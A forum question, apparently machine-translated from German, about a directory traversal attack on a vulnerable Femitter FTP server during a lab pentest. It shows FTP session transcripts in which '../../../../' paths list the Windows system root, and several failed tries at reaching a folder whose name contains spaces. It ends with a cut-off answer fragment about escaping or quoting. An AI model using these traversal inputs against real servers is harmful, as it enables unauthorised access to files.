Ich führe ein sanktioniertes Pentest in einer geschlossenen Referenzumgebung durch und habe mit einem scheinbar einfachen Problem zu kämpfen, das ich derzeit nicht lösen kann.
Wenn Sie versuchen, einen Verzeichnisdurchlaufangriff auf einen anfälligen Fermitter-FTP-Server unter MS Windows auszuführen, können Sie eine LISTE im Systemstamm erstellen (Adressen und Inhaltslisten werden hier nur als Referenz geändert):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Wenn ich jedoch den Inhalt eines Ordners mit Leerzeichen auflisten möchte, z. B. Documents and settings
, kann ich den Verzeichnisinhalt nicht auflisten, da Leerzeichen ignoriert werden.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Ich habe bereits versucht, verschiedene FTP-Clients (CLI und GUI, unter Linux und Windows) zu verwenden. Entweder ignorieren sie Leerzeichen oder verbieten das Durchlaufen von Verzeichnissen.
Es wurde auch versucht, den Angriff auf Python zu skripten, indem zuerst Raw-Sockets und dann ftplib verwendet wurden, um die Befehle im HEX-Format direkt an den FTP-Server zu senden, jedoch ohne Erfolg.
Ein paar Stunden googeln ergab keine funktionierende Lösung (ja, es gab viele Optionen, die nicht funktionierten), deshalb gibt es hier jemanden, der das gleiche Problem hatte. Ziemlich sicher, dass dies nicht das erste Mal ist, dass eine solche Verzeichnisüberquerung mit Leerzeichen benötigt wird.
\
der Verzeichniszeichenfolge zu verlassen oder zu zitieren